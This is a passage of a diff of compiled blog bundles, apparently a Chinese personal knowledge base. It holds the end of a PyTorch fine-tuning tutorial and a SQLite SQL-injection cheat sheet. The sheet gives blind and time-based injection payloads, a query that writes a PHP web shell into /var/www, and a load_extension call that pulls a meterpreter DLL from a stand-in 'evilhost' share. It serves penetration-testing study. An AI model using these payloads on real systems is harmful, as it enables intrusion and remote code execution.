5\u51b5\u4e0b\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u4e0b\u8f7d\u4f1a\u6bd4\u8f83\u6162\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7\u8fc5\u96f7\u6216\u8005\u5176\u4ed6\u65b9\u5f0f\u53bb ",(0,t.jsx)(n.a,{href:"https://github.com/pytorch/vision/tree/master/torchvision/models",children:"\u8fd9\u91cc"})," \u67e5\u770b\u81ea\u5df1\u7684\u6a21\u578b\u91cc\u9762",(0,t.jsx)(n.code,{children:"model_urls"}),"\uff0c\u7136\u540e\u624b\u52a8\u4e0b\u8f7d\uff0c\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u6743\u91cd\u5728",(0,t.jsx)(n.code,{children:"Linux"}),"\u548c",(0,t.jsx)(n.code,{children:"Mac"}),"\u7684\u9ed8\u8ba4\u4e0b\u8f7d\u8def\u5f84\u662f\u7528\u6237\u6839\u76ee\u5f55\u4e0b\u7684",(0,t.jsx)(n.code,{children:".cache"}),"\u6587\u4ef6\u5939\u3002\u5728",(0,t.jsx)(n.code,{children:"Windows"}),"\u4e0b\u5c31\u662f",(0,t.jsx)(n.code,{children:"C:\\Users\\<username>\\.cache\\torch\\hub\\checkpoint"}),"\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528 ",(0,t.jsx)(n.a,{href:"https://pytorch.org/docs/stable/model_zoo.html#torch.utils.model_zoo.load_url",children:(0,t.jsx)(n.code,{children:"torch.utils.model_zoo.load_url()"})}),"\u8bbe\u7f6e\u6743\u91cd\u7684\u4e0b\u8f7d\u5730\u5740\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u89c9\u5f97\u9ebb\u70e6\uff0c\u8fd8\u53ef\u4ee5\u5c06\u81ea\u5df1\u7684\u6743\u91cd\u4e0b\u8f7d\u4e0b\u6765\u653e\u5230\u540c\u6587\u4ef6\u5939\u4e0b\uff0c\u7136\u540e\u518d\u5c06\u53c2\u6570\u52a0\u8f7d\u7f51\u7edc\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"self.model = models.resnet50(pretrained=False)\nself.model.load_state_dict(torch.load('./model/resnet50-19c8e357.pth'))\n"})}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u4e2d\u9014\u5f3a\u884c\u505c\u6b62\u4e0b\u8f7d\u7684\u8bdd\uff0c\u4e00\u5b9a\u8981\u53bb\u5bf9\u5e94\u8def\u5f84\u4e0b\u5c06\u6743\u91cd\u6587\u4ef6\u5220\u9664\u5e72\u51c0\uff0c\u8981\u4e0d\u7136\u53ef\u80fd\u4f1a\u62a5\u9519\u3002"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"633-\u8bad\u7ec3\u7279\u5b9a\u5c42",children:"6.3.3 \u8bad\u7ec3\u7279\u5b9a\u5c42"}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u53c2\u6570\u7684\u5c5e\u6027",(0,t.jsx)(n.code,{children:".requires_grad = True"}),"\uff0c\u5982\u679c\u6211\u4eec\u4ece\u5934\u5f00\u59cb\u8bad\u7ec3\u6216\u5fae\u8c03\u4e0d\u9700\u8981\u6ce8\u610f\u8fd9\u91cc\u3002\u4f46\u5982\u679c\u6211\u4eec\u6b63\u5728\u63d0\u53d6\u7279\u5f81\u5e76\u4e14\u53ea\u60f3\u4e3a\u65b0\u521d\u59cb\u5316\u7684\u5c42\u8ba1\u7b97\u68af\u5ea6\uff0c\u5176\u4ed6\u53c2\u6570\u4e0d\u8fdb\u884c\u6539\u53d8\u3002\u90a3\u6211\u4eec\u5c31\u9700\u8981\u901a\u8fc7\u8bbe\u7f6e",(0,t.jsx)(n.code,{children:"requires_grad = False"}),"\u6765\u51bb\u7ed3\u90e8\u5206\u5c42\u3002\u5728PyTorch\u5b98\u65b9\u4e2d\u63d0\u4f9b\u4e86\u8fd9\u6837\u4e00\u4e2a\u4f8b\u7a0b\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"def set_parameter_requires_grad(model, feature_extracting):\n if feature_extracting:\n for param in model.parameters():\n param.requires_grad = False\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u4e0b\u9762\u6211\u4eec\u4ecd\u65e7\u4f7f\u7528",(0,t.jsx)(n.code,{children:"resnet18"}),"\u4e3a\u4f8b\u7684\u5c061000\u7c7b\u6539\u4e3a4\u7c7b\uff0c\u4f46\u662f\u4ec5\u6539\u53d8\u6700\u540e\u4e00\u5c42\u7684\u6a21\u578b\u53c2\u6570\uff0c\u4e0d\u6539\u53d8\u7279\u5f81\u63d0\u53d6\u7684\u6a21\u578b\u53c2\u6570\uff1b\u6ce8\u610f\u6211\u4eec\u5148\u51bb\u7ed3\u6a21\u578b\u53c2\u6570\u7684\u68af\u5ea6\uff0c\u518d\u5bf9\u6a21\u578b\u8f93\u51fa\u90e8\u5206\u7684\u5168\u8fde\u63a5\u5c42\u8fdb\u884c\u4fee\u6539\uff0c\u8fd9\u6837\u4fee\u6539\u540e\u7684\u5168\u8fde\u63a5\u5c42\u7684\u53c2\u6570\u5c31\u662f\u53ef\u8ba1\u7b97\u68af\u5ea6\u7684\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torchvision.models as models\n# \u51bb\u7ed3\u53c2\u6570\u7684\u68af\u5ea6\nfeature_extract = True\nmodel = models.resnet18(pretrained=True)\nset_parameter_requires_grad(model, feature_extract)\n# \u4fee\u6539\u6a21\u578b\nnum_ftrs = model.fc.in_features\nmodel.fc = nn.Linear(in_features=num_ftrs, out_features=4, bias=True)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4e4b\u540e\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0cmodel\u4ecd\u4f1a\u8fdb\u884c\u68af\u5ea6\u56de\u4f20\uff0c\u4f46\u662f\u53c2\u6570\u66f4\u65b0\u5219\u53ea\u4f1a\u53d1\u751f\u5728fc\u5c42\u3002\u901a\u8fc7\u8bbe\u5b9a\u53c2\u6570\u7684requires_grad\u5c5e\u6027\uff0c\u6211\u4eec\u5b8c\u6210\u4e86\u6307\u5b9a\u8bad\u7ec3\u6a21\u578b\u7684\u7279\u5b9a\u5c42\u7684\u76ee\u6807\uff0c\u8fd9\u5bf9\u5b9e\u73b0\u6a21\u578b\u5fae\u8c03\u975e\u5e38\u91cd\u8981\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"\u672c\u8282\u53c2\u8003",children:"\u672c\u8282\u53c2\u8003"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://www.pytorchtutorial.com/docs/package_references/torch-optim/",children:"\u53c2\u6570\u66f4\u65b0"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://blog.csdn.net/jdzwanghao/article/details/90402577",children:"\u7ed9\u4e0d\u540c\u5c42\u5206\u914d\u4e0d\u540c\u7684\u5b66\u4e60\u7387"})}),"\n"]})]})}function a(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(h,{...e})}):h(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>d});var s=r(96540);const t={},l=s.createContext(t);function i(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),s.createElement(l.Provider,{value:n},e.children)}},95124:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/finetune-879a4a076ff832b72bdb0579b0a531e9.png"}}]); \ No newline at end of file diff --git a/assets/js/3833396f.4a14bad1.js b/assets/js/3833396f.4a14bad1.js new file mode 100644 index 0000000..ee8ffa1 --- /dev/null +++ b/assets/js/3833396f.4a14bad1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8456],{28453:(e,l,s)=>{s.d(l,{R:()=>a,x:()=>r});var n=s(96540);const t={},i=n.createContext(t);function a(e){const l=n.useContext(i);return n.useMemo(function(){return"function"==typeof e?e(l):{...l,...e}},[l,e])}function r(e){let l;return l=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:a(e.components),n.createElement(i.Provider,{value:l},e.children)}},48488:(e,l,s)=>{s.r(l),s.d(l,{assets:()=>d,contentTitle:()=>r,default:()=>h,frontMatter:()=>a,metadata:()=>n,toc:()=>c});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","title":"SQLite","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/06.SQLite.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/06.SQLite.md","tags":[],"version":"current","sidebarPosition":6,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PostgreSQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL"},"next":{"title":"MSSQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL"}}');var t=s(74848),i=s(28453);const a={},r=void 0,d={},c=[{value:"SQLite \u6ce8\u91ca",id:"sqlite-\u6ce8\u91ca",level:2},{value:"SQLite \u7248\u672c",id:"sqlite-\u7248\u672c",level:2},{value:"\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u6570\u636e\u5e93\u7ed3\u6784",id:"\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u6570\u636e\u5e93\u7ed3\u6784",level:2},{value:"\u6574\u6570/\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u8868\u540d",id:"\u6574\u6570\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u8868\u540d",level:2},{value:"\u6574\u6570/\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u5217\u540d",id:"\u6574\u6570\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u5217\u540d",level:2},{value:"\u5e03\u5c14\u503c-\u8ba1\u7b97\u8868\u6570",id:"\u5e03\u5c14\u503c-\u8ba1\u7b97\u8868\u6570",level:2},{value:"\u5e03\u5c14\u503c-\u679a\u4e3e\u8868\u540d",id:"\u5e03\u5c14\u503c-\u679a\u4e3e\u8868\u540d",level:2},{value:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f",id:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f",level:2},{value:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f\uff08\u6392\u5e8f\u4f9d\u636e\uff09",id:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f\u6392\u5e8f\u4f9d\u636e",level:2},{value:"\u5e03\u5c14\u503c-\u57fa\u4e8e\u9519\u8bef",id:"\u5e03\u5c14\u503c-\u57fa\u4e8e\u9519\u8bef",level:2},{value:"\u57fa\u4e8e\u65f6\u95f4",id:"\u57fa\u4e8e\u65f6\u95f4",level:2},{value:"\u4f7f\u7528 SQLite \u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-\u9644\u52a0\u6570\u636e\u5e93",id:"\u4f7f\u7528-sqlite-\u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-\u9644\u52a0\u6570\u636e\u5e93",level:2},{value:"\u4f7f\u7528 SQLite \u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-Load_extension",id:"\u4f7f\u7528-sqlite-\u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-load_extension",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const l={a:"a",code:"code",h2:"h2",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(l.table,{children:[(0,t.jsx)(l.thead,{children:(0,t.jsxs)(l.tr,{children:[(0,t.jsx)(l.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(l.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(l.tbody,{children:(0,t.jsxs)(l.tr,{children:[(0,t.jsx)(l.td,{style:{textAlign:"left"},children:(0,t.jsx)(l.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,t.jsx)(l.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,t.jsx)(l.h2,{id:"sqlite-\u6ce8\u91ca",children:"SQLite \u6ce8\u91ca"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"--\n/**/\n"})}),"\n",(0,t.jsx)(l.h2,{id:"sqlite-\u7248\u672c",children:"SQLite \u7248\u672c"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"select sqlite_version();\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u6570\u636e\u5e93\u7ed3\u6784",children:"\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u6570\u636e\u5e93\u7ed3\u6784"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"SELECT sql FROM sqlite_schema\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u6574\u6570\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u8868\u540d",children:"\u6574\u6570/\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u8868\u540d"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'\n"})}),"\n",(0,t.jsx)(l.p,{children:"\u4f7f\u7528\u6781\u9650 X+1 \u504f\u79fb X \u63d0\u53d6\u6240\u6709\u8868\u683c\u3002"}),"\n",(0,t.jsx)(l.h2,{id:"\u6574\u6570\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u5217\u540d",children:"\u6574\u6570/\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u5217\u540d"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'\n"})}),"\n",(0,t.jsx)(l.p,{children:"\u5bf9\u4e8e\u5e72\u51c0\u7684\u8f93\u51fa"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),\"TEXT\",''),\"INTEGER\",''),\"AUTOINCREMENT\",''),\"PRIMARY KEY\",''),\"UNIQUE\",''),\"NUMERIC\",''),\"REAL\",''),\"BLOB\",''),\"NOT NULL\",''),\",\",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u8ba1\u7b97\u8868\u6570",children:"\u5e03\u5c14\u503c-\u8ba1\u7b97\u8868\u6570"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u679a\u4e3e\u8868\u540d",children:"\u5e03\u5c14\u503c-\u679a\u4e3e\u8868\u540d"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f",children:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f\u6392\u5e8f\u4f9d\u636e",children:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f\uff08\u6392\u5e8f\u4f9d\u636e\uff09"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u57fa\u4e8e\u9519\u8bef",children:"\u5e03\u5c14\u503c-\u57fa\u4e8e\u9519\u8bef"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u57fa\u4e8e\u65f6\u95f4",children:"\u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u4f7f\u7528-sqlite-\u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-\u9644\u52a0\u6570\u636e\u5e93",children:"\u4f7f\u7528 SQLite \u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-\u9644\u52a0\u6570\u636e\u5e93"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"ATTACH DATABASE '/var/www/lol.php' AS lol;\nCREATE TABLE lol.pwn (dataz text);\nINSERT INTO lol.pwn (dataz) VALUES (\"<?php system($_GET['cmd']); ?>\");--\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u4f7f\u7528-sqlite-\u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-load_extension",children:"\u4f7f\u7528 SQLite \u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-Load_extension"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"UNION SELECT 1,load_extension('\\\\evilhost\\evilshare\\meterpreter.dll','DllMain');--\n"})}),"\n",(0,t.jsx)(l.p,{children:"\u6ce8\u610f\uff1a\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u6b64\u7ec4\u4ef6\u5904\u4e8e\u7981\u7528\u72b6\u6001"}),"\n",(0,t.jsx)(l.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,t.jsx)(l.p,{children:(0,t.jsx)(l.a,{href:"https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf",children:"\u6ce8\u5165\u57fa\u4e8e SQLite \u6570\u636e\u5e93\u7684\u5e94\u7528\u7a0b\u5e8f-Manish Kishan Tanwar"})})]})}function h(e={}){const{wrapper:l}={...(0,i.R)(),...e.components};return l?(0,t.jsx)(l,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/393be207.5224a001.js b/assets/js/393be207.5224a001.js new file mode 100644 index 0000000..87c0d1d --- /dev/null +++ b/assets/js/393be207.5224a001.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4134],{10591:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>p,default:()=>i,frontMatter:()=>s,metadata:()=>o,toc:()=>d});const o=JSON.parse('{"type":"mdx","permalink":"/markdown-page","source":"@site/src/pages/markdown-page.md","title":"Markdown page example","description":"You don\'t need React to write simple standalone pages.","frontMatter":{"title":"Markdown page example"},"unlisted":false}');var a=t(74848),r=t(28453);const s={title:"Markdown page example"},p="Markdown page example",c={},d=[];function l(e){const n={h1:"h1",header:"header",p:"p",...(0,r.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(n.header,{children:(0,a.jsx)(n.h1,{id:"markdown-page-example",children:"Markdown page example"})}),"\n",(0,a.jsx)(n.p,{children:"You don't need React to write simple standalone pages."})]})}function i(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(l,{...e})}):l(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>p});var o=t(96540);const a={},r=o.createContext(a);function s(e){const n=o.useContext(r);return o.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function p(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:s(e.components),o.createElement(r.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/398711d2.8aff0de3.js b/assets/js/398711d2.8aff0de3.js new file mode 100644 index 0000000..2fb144c --- /dev/null +++ b/assets/js/398711d2.8aff0de3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4120],{28453:(e,n,s)=>{s.d(n,{R:()=>t,x:()=>d});var r=s(96540);const a={},i=r.createContext(a);function t(e){const n=r.useContext(i);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:t(e.components),r.createElement(i.Provider,{value:n},e.children)}},38839:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>l,contentTitle:()=>d,default:()=>p,frontMatter:()=>t,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","title":"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/03.\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/03.\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539"},"next":{"title":"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565"}}');var a=s(74848),i=s(28453);const t={},d="\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883",l={},o=[{value:"WINDOWS\u5b89\u88c5\u6559\u7a0b",id:"windows\u5b89\u88c5\u6559\u7a0b",level:2},{value:"MACOS \u5b89\u88c5\u6559\u7a0b",id:"macos-\u5b89\u88c5\u6559\u7a0b",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function c(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(n.header,{children:(0,a.jsx)(n.h1,{id:"\u6700\u65b0burpsuite202510\u4e13\u4e1a\u7248\u66f4\u65b0\u4e0b\u8f7dwindowslinuxmac\u6700\u65b0\u7248\u65e0\u9700-java-\u73af\u5883",children:"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2025-11-04 